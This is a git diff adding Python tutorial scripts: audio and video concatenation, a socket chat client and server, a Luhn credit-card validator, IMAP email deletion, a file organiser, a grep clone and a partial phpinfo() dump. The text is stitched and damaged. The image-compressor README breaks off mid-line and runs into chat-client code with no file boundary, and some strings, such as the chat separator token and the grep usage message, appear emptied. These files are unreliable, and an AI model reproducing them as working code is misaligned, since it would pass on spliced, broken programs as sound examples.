Binary files /dev/null and b/python-for-multimedia/add-audio-to-video/zoo.mp4 differ
diff --git a/python-for-multimedia/add-photo-to-audio/Directed-by-Robert-B.-Weide-theme.mp3 b/python-for-multimedia/add-photo-to-audio/Directed-by-Robert-B.-Weide-theme.mp3
new file mode 100644
index 00000000..2e0db053
Binary files /dev/null and b/python-for-multimedia/add-photo-to-audio/Directed-by-Robert-B.-Weide-theme.mp3 differ
diff --git a/python-for-multimedia/add-photo-to-audio/README.md b/python-for-multimedia/add-photo-to-audio/README.md
new file mode 100644
index 00000000..b3462bf2
--- /dev/null
+++ b/python-for-multimedia/add-photo-to-audio/README.md
@@ -0,0 +1,3 @@
+# [How to Combine a Static Image with Audio in Python](https://www.thepythoncode.com/article/add-static-image-to-audio-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/python-for-multimedia/add-photo-to-audio/add_photo_to_audio.py b/python-for-multimedia/add-photo-to-audio/add_photo_to_audio.py
new file mode 100644
index 00000000..1255d6d7
--- /dev/null
+++ b/python-for-multimedia/add-photo-to-audio/add_photo_to_audio.py
@@ -0,0 +1,31 @@
+from moviepy.editor import AudioFileClip, ImageClip
+
+
+def add_static_image_to_audio(image_path, audio_path, output_path):
+    """Create and save a video file to `output_path` after 
+    combining a static image that is located in `image_path` 
+    with an audio file in `audio_path`"""
+    # create the audio clip object
+    audio_clip = AudioFileClip(audio_path)
+    # create the image clip object
+    image_clip = ImageClip(image_path)
+    # use set_audio method from image clip to combine the audio with the image
+    video_clip = image_clip.set_audio(audio_clip)
+    # specify the duration of the new clip to be the duration of the audio clip
+    video_clip.duration = audio_clip.duration
+    # set the FPS to 1
+    video_clip.fps = 1
+    # write the resuling video clip
+    video_clip.write_videofile(output_path)
+
+
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Simple Python script to add a static image to an audio to make a video")
+    parser.add_argument("image", help="The image path")
+    parser.add_argument("audio", help="The audio path")
+    parser.add_argument("output", help="The output video file path")
+    args = parser.parse_args()
+    add_static_image_to_audio(args.image, args.audio, args.output)
\ No newline at end of file
diff --git a/python-for-multimedia/add-photo-to-audio/directed-by-robert-image.jpg b/python-for-multimedia/add-photo-to-audio/directed-by-robert-image.jpg
new file mode 100644
index 00000000..6ae6a86f
Binary files /dev/null and b/python-for-multimedia/add-photo-to-audio/directed-by-robert-image.jpg differ
diff --git a/python-for-multimedia/add-photo-to-audio/output.mp4 b/python-for-multimedia/add-photo-to-audio/output.mp4
new file mode 100644
index 00000000..23b1b109
Binary files /dev/null and b/python-for-multimedia/add-photo-to-audio/output.mp4 differ
diff --git a/python-for-multimedia/add-photo-to-audio/requirements.txt b/python-for-multimedia/add-photo-to-audio/requirements.txt
new file mode 100644
index 00000000..c1ecf8a3
--- /dev/null
+++ b/python-for-multimedia/add-photo-to-audio/requirements.txt
@@ -0,0 +1 @@
+moviepy
\ No newline at end of file
diff --git a/python-for-multimedia/combine-audio/README.md b/python-for-multimedia/combine-audio/README.md
new file mode 100644
index 00000000..37c32998
--- /dev/null
+++ b/python-for-multimedia/combine-audio/README.md
@@ -0,0 +1,4 @@
+# [How to Concatenate Audio Files in Python](https://www.thepythoncode.com/article/concatenate-audio-files-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- There are 3 files, one for each method, check [the tutorial](https://www.thepythoncode.com/article/concatenate-audio-files-in-python) for more info.
\ No newline at end of file
diff --git a/python-for-multimedia/combine-audio/concatenate_audio_moviepy.py b/python-for-multimedia/combine-audio/concatenate_audio_moviepy.py
new file mode 100644
index 00000000..cdcc09cf
--- /dev/null
+++ b/python-for-multimedia/combine-audio/concatenate_audio_moviepy.py
@@ -0,0 +1,19 @@
+from moviepy.editor import concatenate_audioclips, AudioFileClip
+
+
+def concatenate_audio_moviepy(audio_clip_paths, output_path):
+    """Concatenates several audio files into one audio file using MoviePy
+    and save it to `output_path`. Note that extension (mp3, etc.) must be added to `output_path`"""
+    clips = [AudioFileClip(c) for c in audio_clip_paths]
+    final_clip = concatenate_audioclips(clips)
+    final_clip.write_audiofile(output_path)
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Simple Audio file combiner using MoviePy library in Python")
+    parser.add_argument("-c", "--clips", nargs="+",
+                        help="List of audio clip paths")
+    parser.add_argument("-o", "--output", help="The output audio file, extension must be included (such as mp3, etc.)")
+    args = parser.parse_args()
+    concatenate_audio_moviepy(args.clips, args.output)
diff --git a/python-for-multimedia/combine-audio/concatenate_audio_pydub.py b/python-for-multimedia/combine-audio/concatenate_audio_pydub.py
new file mode 100644
index 00000000..359dbefd
--- /dev/null
+++ b/python-for-multimedia/combine-audio/concatenate_audio_pydub.py
@@ -0,0 +1,45 @@
+from pydub import AudioSegment
+from tqdm import tqdm
+import os
+
+
+def concatenate_audio_pydub(audio_clip_paths, output_path, verbose=1):
+    """
+    Concatenates two or more audio files into one audio file using PyDub library
+    and save it to `output_path`. A lot of extensions are supported, more on PyDub's doc.
+    """
+    def get_file_extension(filename):
+        """A helper function to get a file's extension"""
+        return os.path.splitext(filename)[1].lstrip(".")
+
+    clips = []
+    # wrap the audio clip paths with tqdm if verbose
+    audio_clip_paths = tqdm(audio_clip_paths, "Reading audio file") if verbose else audio_clip_paths
+    for clip_path in audio_clip_paths:
+        # get extension of the audio file
+        extension = get_file_extension(clip_path)
+        # load the audio clip and append it to our list
+        clip = AudioSegment.from_file(clip_path, extension)
+        clips.append(clip)
+
+    final_clip = clips[0]
+    range_loop = tqdm(list(range(1, len(clips))), "Concatenating audio") if verbose else range(1, len(clips))
+    for i in range_loop:
+        # looping on all audio files and concatenating them together
+        # ofc order is important
+        final_clip = final_clip + clips[i]
+    # export the final clip
+    final_clip_extension = get_file_extension(output_path)
+    if verbose:
+        print(f"Exporting resulting audio file to {output_path}")
+    final_clip.export(output_path, format=final_clip_extension)
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Simple Audio file combiner using PyDub library in Python")
+    parser.add_argument("-c", "--clips", nargs="+",
+                        help="List of audio clip paths")
+    parser.add_argument("-o", "--output", help="The output audio file, extension must be included (such as mp3, etc.)")
+    args = parser.parse_args()
+    concatenate_audio_pydub(args.clips, args.output)
\ No newline at end of file
diff --git a/python-for-multimedia/combine-audio/concatenate_audio_wave.py b/python-for-multimedia/combine-audio/concatenate_audio_wave.py
new file mode 100644
index 00000000..39031dc1
--- /dev/null
+++ b/python-for-multimedia/combine-audio/concatenate_audio_wave.py
@@ -0,0 +1,25 @@
+import wave
+
+def concatenate_audio_wave(audio_clip_paths, output_path):
+    """Concatenates several audio files into one audio file using Python's built-in wav module
+    and save it to `output_path`. Note that extension (wav) must be added to `output_path`"""
+    data = []
+    for clip in audio_clip_paths:
+        w = wave.open(clip, "rb")
+        data.append([w.getparams(), w.readframes(w.getnframes())])
+        w.close()
+    output = wave.open(output_path, "wb")
+    output.setparams(data[0][0])
+    for i in range(len(data)):
+        output.writeframes(data[i][1])
+    output.close()
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Simple Audio file combiner using wave module in Python")
+    parser.add_argument("-c", "--clips", nargs="+",
+                        help="List of audio clip paths")
+    parser.add_argument("-o", "--output", help="The output audio file, extension (wav) must be included")
+    args = parser.parse_args()
+    concatenate_audio_wave(args.clips, args.output)
\ No newline at end of file
diff --git a/python-for-multimedia/combine-audio/directed-by-robert.mp3 b/python-for-multimedia/combine-audio/directed-by-robert.mp3
new file mode 100644
index 00000000..9ae10793
Binary files /dev/null and b/python-for-multimedia/combine-audio/directed-by-robert.mp3 differ
diff --git a/python-for-multimedia/combine-audio/requirements.txt b/python-for-multimedia/combine-audio/requirements.txt
new file mode 100644
index 00000000..8eacc927
--- /dev/null
+++ b/python-for-multimedia/combine-audio/requirements.txt
@@ -0,0 +1,2 @@
+moviepy
+pydub
\ No newline at end of file
diff --git a/python-for-multimedia/combine-audio/zoo.mp3 b/python-for-multimedia/combine-audio/zoo.mp3
new file mode 100644
index 00000000..8d8ac115
Binary files /dev/null and b/python-for-multimedia/combine-audio/zoo.mp3 differ
diff --git a/python-for-multimedia/combine-video/README.md b/python-for-multimedia/combine-video/README.md
new file mode 100644
index 00000000..ee56a9d7
--- /dev/null
+++ b/python-for-multimedia/combine-video/README.md
@@ -0,0 +1,26 @@
+# [How to Concatenate Video Files in Python](https://www.thepythoncode.com/article/concatenate-video-files-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- 
+```
+    $ python concatenate_video.py --help
+```
+**Output**:
+```
+    usage: concatenate_video.py [-h] [-c CLIPS [CLIPS ...]] [-r REDUCE] [-o OUTPUT]
+
+    Simple Video Concatenation script in Python with MoviePy Library
+
+    optional arguments:
+    -h, --help            show this help message and exit
+    -c CLIPS [CLIPS ...], --clips CLIPS [CLIPS ...]
+                            List of audio or video clip paths
+    -r REDUCE, --reduce REDUCE
+                            Whether to use the `reduce` method to reduce to the lowest quality on the resulting clip
+    -o OUTPUT, --output OUTPUT
+                            Output file name
+```
+- To combine `zoo.mp4` and `directed-by-robert.mp4` to produce `output.mp4`:
+```
+    $ python concatenate_video.py -c zoo.mp4 directed-by-robert.mp4 -o output.mp4
+```
\ No newline at end of file
diff --git a/python-for-multimedia/combine-video/concatenate_video.py b/python-for-multimedia/combine-video/concatenate_video.py
new file mode 100644
index 00000000..558ed9a1
--- /dev/null
+++ b/python-for-multimedia/combine-video/concatenate_video.py
@@ -0,0 +1,41 @@
+from moviepy.editor import concatenate_videoclips, VideoFileClip
+
+
+def concatenate(video_clip_paths, output_path, method="compose"):
+    """Concatenates several video files into one video file
+    and save it to `output_path`. Note that extension (mp4, etc.) must be added to `output_path`
+    `method` can be either 'compose' or 'reduce':
+        `reduce`: Reduce the quality of the video to the lowest quality on the list of `video_clip_paths`.
+        `compose`: type help(concatenate_videoclips) for the info"""
+    # create VideoFileClip object for each video file
+    clips = [VideoFileClip(c) for c in video_clip_paths]
+    if method == "reduce":
+        # calculate minimum width & height across all clips
+        min_height = min([c.h for c in clips])
+        min_width = min([c.w for c in clips])
+        # resize the videos to the minimum
+        clips = [c.resize(newsize=(min_width, min_height)) for c in clips]
+        # concatenate the final video
+        final_clip = concatenate_videoclips(clips)
+    elif method == "compose":
+        # concatenate the final video with the compose method provided by moviepy
+        final_clip = concatenate_videoclips(clips, method="compose")
+    # write the output video file
+    final_clip.write_videofile(output_path)
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(
+        description="Simple Video Concatenation script in Python with MoviePy Library")
+    parser.add_argument("-c", "--clips", nargs="+",
+                        help="List of audio or video clip paths")
+    parser.add_argument("-r", "--reduce", action="https://github.com/store_true", 
+                        help="Whether to use the `reduce` method to reduce to the lowest quality on the resulting clip")
+    parser.add_argument("-o", "--output", help="Output file name")
+    args = parser.parse_args()
+    clips = args.clips
+    output_path = args.output
+    reduce = args.reduce
+    method = "reduce" if reduce else "compose"
+    concatenate(clips, output_path, method)
diff --git a/python-for-multimedia/combine-video/directed-by-robert.mp4 b/python-for-multimedia/combine-video/directed-by-robert.mp4
new file mode 100644
index 00000000..23b1b109
Binary files /dev/null and b/python-for-multimedia/combine-video/directed-by-robert.mp4 differ
diff --git a/python-for-multimedia/combine-video/requirements.txt b/python-for-multimedia/combine-video/requirements.txt
new file mode 100644
index 00000000..c1ecf8a3
--- /dev/null
+++ b/python-for-multimedia/combine-video/requirements.txt
@@ -0,0 +1 @@
+moviepy
\ No newline at end of file
diff --git a/python-for-multimedia/combine-video/zoo.mp4 b/python-for-multimedia/combine-video/zoo.mp4
new file mode 100644
index 00000000..b7dce1d1
Binary files /dev/null and b/python-for-multimedia/combine-video/zoo.mp4 differ
diff --git a/python-for-multimedia/compress-image/README.md b/python-for-multimedia/compress-image/README.md
new file mode 100644
index 00000000..919414cc
--- /dev/null
+++ b/python-for-multimedia/compress-image/README.md
@@ -0,0 +1,56 @@
+# Compress Image
+
+Advanced Image Compressor with Batch Processing
+
+This script provides advanced image compression and resizing features using Python and Pillow.
+
+## Features
+
+- Batch processing of multiple images or directories
+- Lossy and lossless compression (PNG/WebP)
+- Optional JPEG conversion
+- Resize by ratio or explicit dimensions
+- Preserve or strip metadata (EXIF)
+- Custom output directory
+- Progress bar using `tqdm`
+- Detailed logging
+
+## Requirements
+
+- Python 3.6+
+- [Pillow](https://pypi.org/project/Pillow/)
+- [tqdm](https://pypi.org/project/tqdm/)
+
+Install dependencies:
+
+```bash
+pip install pillow tqdm
+```
+
+## Usage
+
+```bash
+python compress_image.py [options] " # we will use this to separate the client name & message
+
+# initialize TCP socket
+s = socket.socket()
+print(f"[*] Connecting to {SERVER_HOST}:{SERVER_PORT}...")
+# connect to the server
+s.connect((SERVER_HOST, SERVER_PORT))
+print("[+] Connected.")
+# prompt the client for a name
+name = input("Enter your name: ")
+
+def listen_for_messages():
+    while True:
+        message = s.recv(1024).decode()
+        print("\n" + message)
+
+# make a thread that listens for messages to this client & print them
+t = Thread(target=listen_for_messages)
+# make the thread daemon so it ends whenever the main thread ends
+t.daemon = True
+# start the thread
+t.start()
+
+while True:
+    # input message we want to send to the server
+    to_send =  input()
+    # a way to exit the program
+    if to_send.lower() == 'q':
+        break
+    # add the datetime, name & the color of the sender
+    date_now = datetime.now().strftime('%Y-%m-%d %H:%M:%S') 
+    to_send = f"{client_color}[{date_now}] {name}{separator_token}{to_send}{Fore.RESET}"
+    # finally, send the message
+    s.send(to_send.encode())
+
+# close the socket
+s.close()
\ No newline at end of file
diff --git a/python-standard-library/chat-application/requirements.txt b/python-standard-library/chat-application/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/python-standard-library/chat-application/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/python-standard-library/chat-application/server.py b/python-standard-library/chat-application/server.py
new file mode 100644
index 00000000..db99e292
--- /dev/null
+++ b/python-standard-library/chat-application/server.py
@@ -0,0 +1,62 @@
+import socket
+from threading import Thread
+
+# server's IP address
+SERVER_HOST = "0.0.0.0"
+SERVER_PORT = 5002 # port we want to use
+separator_token = "" # we will use this to separate the client name & message
+
+# initialize list/set of all connected client's sockets
+client_sockets = set()
+# create a TCP socket
+s = socket.socket()
+# make the port as reusable port
+s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+# bind the socket to the address we specified
+s.bind((SERVER_HOST, SERVER_PORT))
+# listen for upcoming connections
+s.listen(5)
+print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}")
+
+def listen_for_client(cs):
+    """
+    This function keep listening for a message from `cs` socket
+    Whenever a message is received, broadcast it to all other connected clients
+    """
+    while True:
+        try:
+            # keep listening for a message from `cs` socket
+            msg = cs.recv(1024).decode()
+        except Exception as e:
+            # client no longer connected
+            # remove it from the set
+            print(f"[!] Error: {e}")
+            client_sockets.remove(cs)
+        else:
+            # if we received a message, replace the  
+            # token with ": " for nice printing
+            msg = msg.replace(separator_token, ": ")
+        # iterate over all connected sockets
+        for client_socket in client_sockets:
+            # and send the message
+            client_socket.send(msg.encode())
+
+
+while True:
+    # we keep listening for new connections all the time
+    client_socket, client_address = s.accept()
+    print(f"[+] {client_address} connected.")
+    # add the new connected client to connected sockets
+    client_sockets.add(client_socket)
+    # start a new thread that listens for each client's messages
+    t = Thread(target=listen_for_client, args=(client_socket,))
+    # make the thread daemon so it ends whenever the main thread ends
+    t.daemon = True
+    # start the thread
+    t.start()
+
+# close client sockets
+for cs in client_sockets:
+    cs.close()
+# close server socket
+s.close()
\ No newline at end of file
diff --git a/python-standard-library/credit-card-validation/README.md b/python-standard-library/credit-card-validation/README.md
new file mode 100644
index 00000000..bee74fdd
--- /dev/null
+++ b/python-standard-library/credit-card-validation/README.md
@@ -0,0 +1 @@
+# [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python)
\ No newline at end of file
diff --git a/python-standard-library/credit-card-validation/credit_card_validation.py b/python-standard-library/credit-card-validation/credit_card_validation.py
new file mode 100644
index 00000000..57a82f5b
--- /dev/null
+++ b/python-standard-library/credit-card-validation/credit_card_validation.py
@@ -0,0 +1,85 @@
+import argparse  # Import argparse for command-line argument parsing
+import re  # Import re for regular expression matching
+
+# Validate credit card number using Luhn Algorithm
+def luhn_algorithm(card_number):
+    def digits_of(n):
+        return [int(d) for d in str(n)]  # Convert each character in the number to an integer
+    
+    digits = digits_of(card_number)  # Get all digits of the card number
+    odd_digits = digits[-1::-2]  # Get digits from the right, skipping one digit each time (odd positions)
+    even_digits = digits[-2::-2]  # Get every second digit from the right (even positions)
+    
+    checksum = sum(odd_digits)  # Sum all odd position digits
+    for d in even_digits:
+        checksum += sum(digits_of(d*2))  # Double each even position digit and sum the resulting digits
+    
+    return checksum % 10 == 0  # Return True if checksum modulo 10 is 0
+
+
+# Function to check credit card number using Luhn's alogorithm
+def check_credit_card_number(card_number):
+    card_number = card_number.replace(' ', '')  # Remove spaces from the card number
+    if not card_number.isdigit():  # Check if the card number contains only digits
+        return False
+    return luhn_algorithm(card_number)  # Validate using the Luhn algorithm
+
+# Function to get the card type based on card number using RegEx
+def get_card_type(card_number):
+    card_number = card_number.replace(' ', '')  # Remove spaces from the card number
+    card_types = {
+        "Visa": r"^4[0-9]{12}(?:[0-9]{3})?$",  # Visa: Starts with 4, length 13 or 16
+        "MasterCard": r"^5[1-5][0-9]{14}$",  # MasterCard: Starts with 51-55, length 16
+        "American Express": r"^3[47][0-9]{13}$",  # AmEx: Starts with 34 or 37, length 15
+        "Discover": r"^6(?:011|5[0-9]{2})[0-9]{12}$",  # Discover: Starts with 6011 or 65, length 16
+        "JCB": r"^(?:2131|1800|35\d{3})\d{11}$",  # JCB: Starts with 2131, 1800, or 35, length 15 or 16
+        "Diners Club": r"^3(?:0[0-5]|[68][0-9])[0-9]{11}$",  # Diners Club: Starts with 300-305, 36, or 38, length 14
+        "Maestro": r"^(5018|5020|5038|56|57|58|6304|6759|676[1-3])\d{8,15}$",  # Maestro: Various starting patterns, length 12-19
+        "Verve": r"^(506[01]|507[89]|6500)\d{12,15}$"  # Verve: Starts with 5060, 5061, 5078, 5079, or 6500, length 16-19
+    }
+    
+    for card_type, pattern in card_types.items():
+        if re.match(pattern, card_number):  # Check if card number matches the pattern
+            return card_type
+    return "Unknown"  # Return Unknown if no pattern matches
+
+
+# Processing a file containing card numbers.
+def process_file(file_path):
+   
+    try:
+        with open(file_path, 'r') as file:  # Open the file for reading
+            card_numbers = file.readlines()  # Read all lines from the file
+        results = {}
+        for card_number in card_numbers:
+            card_number = card_number.strip()  # Remove any leading/trailing whitespace
+            is_valid = check_credit_card_number(card_number)  # Validate card number
+            card_type = get_card_type(card_number)  # Detect card type
+            results[card_number] = (is_valid, card_type)  # Store result
+        return results
+    except Exception as e:
+        print(f"Error reading file: {e}")  # Print error message if file cannot be read
+        return None
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Check if a credit card number is legitimate and identify its type using the Luhn algorithm.")
+    parser.add_argument('-n', '--number', type=str, help="A single credit card number to validate.")  # Argument for single card number
+    parser.add_argument('-f', '--file', type=str, help="A file containing multiple credit card numbers to validate.")  # Argument for file input
+    
+    args = parser.parse_args()  # Parse command-line arguments
+    
+    if args.number:
+        is_valid = check_credit_card_number(args.number)  # Validate single card number
+        card_type = get_card_type(args.number)  # Detect card type
+        print(f"[!] Credit card number {args.number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.")  # Print result
+    
+    if args.file:
+        results = process_file(args.file)  # Process file with card numbers
+        if results:
+            for card_number, (is_valid, card_type) in results.items():
+                print(f"[!] Credit card number {card_number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.")  # Print results for each card number
+
+# Execute tha main function
+if __name__ == '__main__':
+    main()  
diff --git a/python-standard-library/credit-card-validation/credit_cards.txt b/python-standard-library/credit-card-validation/credit_cards.txt
new file mode 100644
index 00000000..b0a33fe6
--- /dev/null
+++ b/python-standard-library/credit-card-validation/credit_cards.txt
@@ -0,0 +1,3 @@
+4111111111111111
+5555555555554444
+378282246310005
\ No newline at end of file
diff --git a/python-standard-library/daemon-thread/README.md b/python-standard-library/daemon-thread/README.md
new file mode 100644
index 00000000..9a3e7bce
--- /dev/null
+++ b/python-standard-library/daemon-thread/README.md
@@ -0,0 +1 @@
+# [Daemon Threads in Python](https://www.thepythoncode.com/article/daemon-threads-in-python)
\ No newline at end of file
diff --git a/python-standard-library/daemon-thread/daemon_thread.py b/python-standard-library/daemon-thread/daemon_thread.py
new file mode 100644
index 00000000..74a30ad0
--- /dev/null
+++ b/python-standard-library/daemon-thread/daemon_thread.py
@@ -0,0 +1,18 @@
+import threading
+import time
+
+def func_1():
+    while True:
+        print(f"[{threading.current_thread().name}] Printing this message every 2 seconds")
+        time.sleep(2)
+
+# initiate the thread with daemon set to True
+daemon_thread = threading.Thread(target=func_1, name="daemon-thread", daemon=True)
+# or
+# daemon_thread.daemon = True
+# or
+# daemon_thread.setDaemon(True)
+daemon_thread.start()
+# sleep for 10 seconds and end the main thread
+time.sleep(4)
+# the main thread ends
\ No newline at end of file
diff --git a/python-standard-library/daemon-thread/normal_thread.py b/python-standard-library/daemon-thread/normal_thread.py
new file mode 100644
index 00000000..8de0c7d3
--- /dev/null
+++ b/python-standard-library/daemon-thread/normal_thread.py
@@ -0,0 +1,15 @@
+import threading
+import time
+
+def func():
+    while True:
+        print(f"[{threading.current_thread().name}] Printing this message every 2 seconds")
+        time.sleep(2)
+
+# initiate the thread to call the above function
+normal_thread = threading.Thread(target=func, name="normal_thread")
+# start the thread
+normal_thread.start()
+# sleep for 4 seconds and end the main thread
+time.sleep(4)
+# the main thread ends
\ No newline at end of file
diff --git a/python-standard-library/deleting-emails/README.md b/python-standard-library/deleting-emails/README.md
new file mode 100644
index 00000000..e9583344
--- /dev/null
+++ b/python-standard-library/deleting-emails/README.md
@@ -0,0 +1,6 @@
+# [How to Delete Emails in Python](https://www.thepythoncode.com/article/deleting-emails-in-python)
+To run this:
+- Change `username` and `password` for real email credentials, edit the `imap.search()` line for your use case and run `delete_emails.py`:
+    ```
+    python delete_emails.py
+    ```
\ No newline at end of file
diff --git a/python-standard-library/deleting-emails/delete_emails.py b/python-standard-library/deleting-emails/delete_emails.py
new file mode 100644
index 00000000..7725faac
--- /dev/null
+++ b/python-standard-library/deleting-emails/delete_emails.py
@@ -0,0 +1,49 @@
+import imaplib
+import email
+from email.header import decode_header
+
+# account credentials
+username = "youremailaddress@provider.com"
+password = "yourpassword"
+
+# create an IMAP4 class with SSL 
+imap = imaplib.IMAP4_SSL("imap.gmail.com")
+# authenticate
+imap.login(username, password)
+# select the mailbox I want to delete in
+# if you want SPAM, use imap.select("SPAM") instead
+imap.select("INBOX")
+# search for specific mails by sender
+status, messages = imap.search(None, 'FROM "googlealerts-noreply@google.com"')
+# to get all mails
+# status, messages = imap.search(None, "ALL")
+# to get mails by subject
+# status, messages = imap.search(None, 'SUBJECT "Thanks for Subscribing to our Newsletter !"')
+# to get mails after a specific date
+# status, messages = imap.search(None, 'SINCE "01-JAN-2020"')
+# to get mails before a specific date
+# status, messages = imap.search(None, 'BEFORE "01-JAN-2020"')
+# convert messages to a list of email IDs
+messages = messages[0].split(b' ')
+for mail in messages:
+    _, msg = imap.fetch(mail, "(RFC822)")
+    # you can delete the for loop for performance if you have a long list of emails
+    # because it is only for printing the SUBJECT of target email to delete
+    for response in msg:
+        if isinstance(response, tuple):
+            msg = email.message_from_bytes(response[1])
+            # decode the email subject
+            subject = decode_header(msg["Subject"])[0][0]
+            if isinstance(subject, bytes):
+                # if it's a bytes type, decode to str
+                subject = subject.decode()
+            print("Deleting", subject)
+    # mark the mail as deleted
+    imap.store(mail, "+FLAGS", "\\Deleted")
+# permanently remove mails that are marked as deleted
+# from the selected mailbox (in this case, INBOX)
+imap.expunge()
+# close the mailbox
+imap.close()
+# logout from the account
+imap.logout()
\ No newline at end of file
diff --git a/python-standard-library/extension-separator/README.md b/python-standard-library/extension-separator/README.md
new file mode 100644
index 00000000..92aa986d
--- /dev/null
+++ b/python-standard-library/extension-separator/README.md
@@ -0,0 +1 @@
+# [How to Organize Files by Extension in Python](https://www.thepythoncode.com/article/organize-files-by-extension-with-python)
diff --git a/python-standard-library/extension-separator/extension_separator.py b/python-standard-library/extension-separator/extension_separator.py
new file mode 100644
index 00000000..9a50058c
--- /dev/null
+++ b/python-standard-library/extension-separator/extension_separator.py
@@ -0,0 +1,76 @@
+import os
+import glob
+import shutil
+
+# dictionary mapping each extension with its corresponding folder
+# For example, 'jpg', 'png', 'ico', 'gif', 'svg' files will be moved to 'images' folder
+# feel free to change based on your needs
+extensions = {
+    "jpg": "images",
+    "png": "images",
+    "ico": "images",
+    "gif": "images",
+    "svg": "images",
+    "jfif": "images",
+    "sql": "sql",
+    "exe": "programs",
+    "msi": "programs",
+    "pdf": "pdf",
+    "epub": "epub",
+    "xlsx": "excel",
+    "csv": "excel",
+    "rar": "archive",
+    "zip": "archive",
+    "gz": "archive",
+    "tar": "archive",
+    "7z": "archive",
+    "docx": "word",
+    "torrent": "torrent",
+    "txt": "text",
+    "log": "text",
+    "md": "text",
+    "ipynb": "python",
+    "py": "python",
+    "pptx": "powerpoint",
+    "ppt": "powerpoint",
+    "mp3": "audio",
+    "wav": "audio",
+    "mp4": "video",
+    "m3u8": "video",
+    "webm": "video",
+    "ts": "video",
+    "avi": "video",
+    "json": "json",
+    "css": "web",
+    "js": "web",
+    "html": "web",
+    "webp": "web",
+    "apk": "apk",
+    "sqlite3": "sqlite3",
+}
+
+
+if __name__ == "__main__":
+    path = r"E:\Downloads"
+    # setting verbose to 1 (or True) will show all file moves
+    # setting verbose to 0 (or False) will show basic necessary info
+    verbose = 0
+    for extension, folder_name in extensions.items():
+        # get all the files matching the extension
+        files = glob.glob(os.path.join(path, f"*.{extension}"))
+        print(f"[*] Found {len(files)} files with {extension} extension")
+        if not os.path.isdir(os.path.join(path, folder_name)) and files:
+            # create the folder if it does not exist before
+            print(f"[+] Making {folder_name} folder")
+            os.mkdir(os.path.join(path, folder_name))
+        for file in files:
+            # for each file in that extension, move it to the correponding folder
+            basename = os.path.basename(file)
+            dst = os.path.join(path, folder_name, basename)
+            if verbose:
+                print(f"[*] Moving {file} to {dst}")
+            try:
+                shutil.move(file, dst)
+            except Exception as e:
+                print(f"[!] Error: {e}")
+                continue
\ No newline at end of file
diff --git a/python-standard-library/generating-random-data/generate.py b/python-standard-library/generating-random-data/generate.py
index ea6bf2ac..655c9fc6 100644
--- a/python-standard-library/generating-random-data/generate.py
+++ b/python-standard-library/generating-random-data/generate.py
@@ -3,6 +3,8 @@
 import string
 import secrets
 
+import numpy as np
+
 # generate random integer between a and b (including a and b)
 randint = random.randint(1, 500)
 print("randint:", randint)
@@ -19,6 +21,14 @@
 choices = random.choices(range(1000), k=5)
 print("choices:", choices)
 
+# get a random vector of size 20
+vector = np.random.random((30,))
+print("vector:\n", vector)
+
+# get a random matrix of size (3, 3) in the range [0, 100]
+matrix = np.random.random((3, 3)) * 100
+print("matrix:\n", matrix)
+
 # generate a random floating point number from 0.0 <= x <= 1.0
 randfloat = random.random()
 print("randfloat between 0.0 and 1.0:", randfloat)
diff --git a/python-standard-library/grep-clone/README.md b/python-standard-library/grep-clone/README.md
new file mode 100644
index 00000000..e6023461
--- /dev/null
+++ b/python-standard-library/grep-clone/README.md
@@ -0,0 +1 @@
+# [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python)
\ No newline at end of file
diff --git a/python-standard-library/grep-clone/grep_python.py b/python-standard-library/grep-clone/grep_python.py
new file mode 100644
index 00000000..b3f3fa14
--- /dev/null
+++ b/python-standard-library/grep-clone/grep_python.py
@@ -0,0 +1,33 @@
+# Import the necessary libraries.
+import re, sys
+from colorama import init, Fore
+
+# Initialize colorama.
+init()
+
+# Grep function.
+def grep(pattern, filename):
+    try:
+        found_match = False
+        with open(filename, 'r') as file:
+            for line in file:
+                if re.search(pattern, line):
+                    # Print matching lines in green.
+                    print(Fore.GREEN + line.strip() + "\n") # We are including new lines to enhance readability.
+                    found_match = True
+        if not found_match:
+            # Print message in red if no content is found.
+            print(Fore.RED + f"No content found matching the pattern '{pattern}'.")
+    except FileNotFoundError:
+        # Print error message in red if the file is not found.
+        print(Fore.RED + f"File '{filename}' not found.")
+
+
+if len(sys.argv) != 3:
+    # Print usage message in red if the number of arguments is incorrect.
+    print(Fore.RED + "Usage: python grep_python.py  ")
+    sys.exit(1)
+
+pattern = sys.argv[1]
+filename = sys.argv[2]
+grep(pattern, filename)
diff --git a/python-standard-library/grep-clone/phpinfo.php b/python-standard-library/grep-clone/phpinfo.php
new file mode 100644
index 00000000..6d4df079
--- /dev/null
+++ b/python-standard-library/grep-clone/phpinfo.php
@@ -0,0 +1,800 @@
+
+
+
+PHP 7.4.3-4ubuntu2.20 - phpinfo() 
+
+
+PHP Version 7.4.3-4ubuntu2.20 
+ 
+
+System  Linux cf00c9c42b69 4.14.336-257.562.amzn2.x86_64 #1 SMP Sat Feb 24 09:50:35 UTC 2024 x86_64  Build Date  Feb 21 2024 13:54:34  Server API  CGI/FastCGI  Virtual Directory Support  disabled  Configuration File (php.ini) Path  /etc/php/7.4/cgi  Loaded Configuration File  /etc/php/7.4/cgi/php.ini  Scan this dir for additional .ini files  /etc/php/7.4/cgi/conf.d  Additional .ini files parsed  /etc/php/7.4/cgi/conf.d/10-opcache.ini,
+/etc/php/7.4/cgi/conf.d/10-pdo.ini,
+/etc/php/7.4/cgi/conf.d/15-xml.ini,
+/etc/php/7.4/cgi/conf.d/20-calendar.ini,
